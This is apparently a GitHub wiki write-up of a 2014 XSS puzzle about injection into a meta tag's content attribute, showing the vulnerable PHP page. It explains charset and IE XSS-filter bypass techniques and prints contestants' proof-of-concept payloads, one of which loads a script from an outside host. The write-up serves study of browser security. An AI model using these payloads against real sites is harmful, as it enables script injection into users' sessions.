-
Notifications
You must be signed in to change notification settings - Fork 221
Puzzle 1 on kcal.pw
XSS Puzzle published in August 2014: http://kcal.pw/puzzle.php
So in early August I (The author of the challenge, @filedescriptor) have started a new XSS challenge series "Monday XSS puzzle". As a starter, we (@filedescriptor & @mramydnei) came up with an idea of the scenario where injection appears in a meta tag's content attribute. Throughout the whole challenge, over 100k attempts were received and only 5 bypassers were able to make it through after a couple of hints were given.
The scenario actually happens in real world quite often, yet the normal solution to it is trivial. In order to make your life harder, several additional restrictions were set:
- XFO deny
Prevents potential charset inheritance issues
- UTF-8 charset through
<meta http-equiv
Side-tracker to make you believe it has nothing to deal with charset. In fact the intention is quite clear as should be picked for HTML5 document
- htmlspecialchars
Prevents escaping from tag-attribute context
- filtering plus sign(+)
Avoids trivial solution of UTF-7. Also the key to the answer
- text before the injection point
Avoids trivial solutions like header refresh + javascript: combo
Once you understand the reasons behind those restrictions, it is easy to plan a strategy:
- Disabling default charset
This can only be done abusing IE XSS filter, and that's why it has to be with
<meta http-equiv=
instead of<meta charset=
.
- Overriding charset
Because you need to generate tags, you need to use non-ASCII based charset or some charset quirks to achieve it. This can be done via charset attribute of meta afterwards
So far so good. Now here comes two branches, the hard way and the easy way(i.e. expected solution). @kinugawamasato and @orenhafif both managed to use some IBM charset to construct complicated payloads, which is amazing. I am not going to explain the hard way but I will share their solutions below. Now how about the easy way? Well, @kinugawamasato has published some mind-blowing charset related quirks, let's take a look:
http://l0.cm/encodings/test1/. As you may notice, ISO-2022-JP under IE has some weird behaviors which can generate both less than sign (<
) and greater than sign (>
), which is a perfect candidate for the solution.
However, we soon meet another barrier: the specific sequence will trigger the XSS filter making it erase all content. This is where most solvers took a lot of time on. Surely there may be other ways to trick the XSS filter into accepting the sequence, but you don't need to figure that out. Remember the fact that plus sign (+
) is filtered? We can simply obfuscate the shift-sequences using the plus sign. Say something like %1B$%2BB
is introduced, the XSS filter won't recognize it as the rules cannot catch it.
That's it. The remaining part is to place a XSS vector to trigger alert(1)
.
<?php header('X-Frame-Options: deny'); ?>
<!doctype html>
<html lang='en'>
<head>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<meta name='description' content='This is about <?php echo htmlspecialchars(str_replace('+', '', $_GET['xss'])); ?>'>
<title>XSS Puzzle</title>
</head>
<body>
...
</body>
</html>
@kinugawamasato PoC
;charset=cp1025'http-equiv='Content-Type' L���@�~[@���֥�~m~`JZ^NNm^mm~mNm^mmmm~mmNmm^mmmmmm~mmmmNmm^[JMOO}}N}}]
JmZNMOO}}N}}]JmmZNMOO}}N}}]JmmmmZNMO}}N}}]JmZNM[N}}]JmmmmmmZZMm]n&
<meta http-equiv=>
A second bypass submitted by @kinugawamasato requires user interaction to work:
;charset=cp1025'http-equiv='Content-Type' LÂ�Ĩ@֕Ɩä≕~m~`JZ^NNm^mm~mNm^mmmm~mmNmm^mmmmmm~mmmmNmm^[JMOO}}N}}]JmZNMOO}}N}}]JmmZNMOO}}N}}]
JmmmmZNMO}}N}}]JmZNM[N}}]JmmmmmmZZMm]nLɆفԅ@Ʉ~[n&<meta http-equiv=>
@orenhafif PoC
<body onload="document.forms(0).submit()" >
<form method="post" action="http://kcal.pw/puzzle.php?xss=;charset=cp870'+http-equiv='content-type'nL%E2%A5%87%40%D6%95%2b%D4%96%E4%A2%85%D6%A5%C5%99~m~NO%7F%7F%5Emm~mNm%5Emmm~mmNmm%5Emmmm~mmmNm%5Emmmmm~mmmmNmm%5Emmmmmm~
mmmmmNm%5E%5B~%7F%E3%83%96%E3%95%A2%E3%99%A4%7F%5E%5B%5B~%7F%E3%A3%96%E3%99%81%E3%93%85%7F%5E%5BJmZN%5BJmmZN%5BJmmmZN%5BJmmmmZ%5E%5B%5B%5B~%5BJmZN%5BJmmZN%5BJmmmZN%5BJmmmmZN%5B%5BJmZN%5BJmmmmmZN%5BJmmmmmmZN%5BJmZN%5B%5BJmZN%5BJmmZN%5BJmmmmm
Z%5E%5B%5B%5B%5B~%5B%5BJmmmmZN%5B%5BJmmmmmZN%5B%5BJmmmmmmZN%5BJmmmmm
ZN%5B%5BJmZ%5EJZJ%5B%5B%5BZJ%5B%5B%5BZM%5B%5B%5B%5BN%7FM%7FNmN%7F%5D%7F%5DM%5Dn">
<input name="<meta+http-equiv='Content-Type' " value="" />
</form>
Oren Hafif's second bypass with expressions in IE 10 by using the IE7 document mode, It would also work with IE11 - but in Intranet zone only.
<meta content='ThisIsAbout=EmulateIE7' http-equiv='x-ua-compatible' style='width:expression(alert(1))' >
@0x6D6172696F & @rafaybaloch PoC
<meta/http-equiv='charset=ISO-2022-JP$+B(+B$+B(+Bsvg/o+nload='alert(1)
@insertScript PoC
'charset=ISO-2022-JP bla='<meta http-equiv=' $+B(+B$+B(+B
script src=//html5sec.org/test.js $+B(+B$+B(+B/script $+B(+B
@harupuxa PoC
' http-equiv='' onmo%2buseover='alert(1)&x=<meta name='description' content='This is about ' http-equiv=
This submission is particularly special as it is using a novel technique to bypass the security controls in place. The author of this vector simply injects an onmouseover
attribute and a <meta>
element. This causes the following things to happen:
- The
<meta>
element on the page is being "deactivated" by the XSS filter - The deactivation turns the
<meta>
into a<me#a>
element - That element is of course unknown to the browser - and isn't closed of course
- That element is therefore now surrounding all other elements
- Thereby the
mousemove
-event handler fires whenever the user moves the cursor anywhere on the page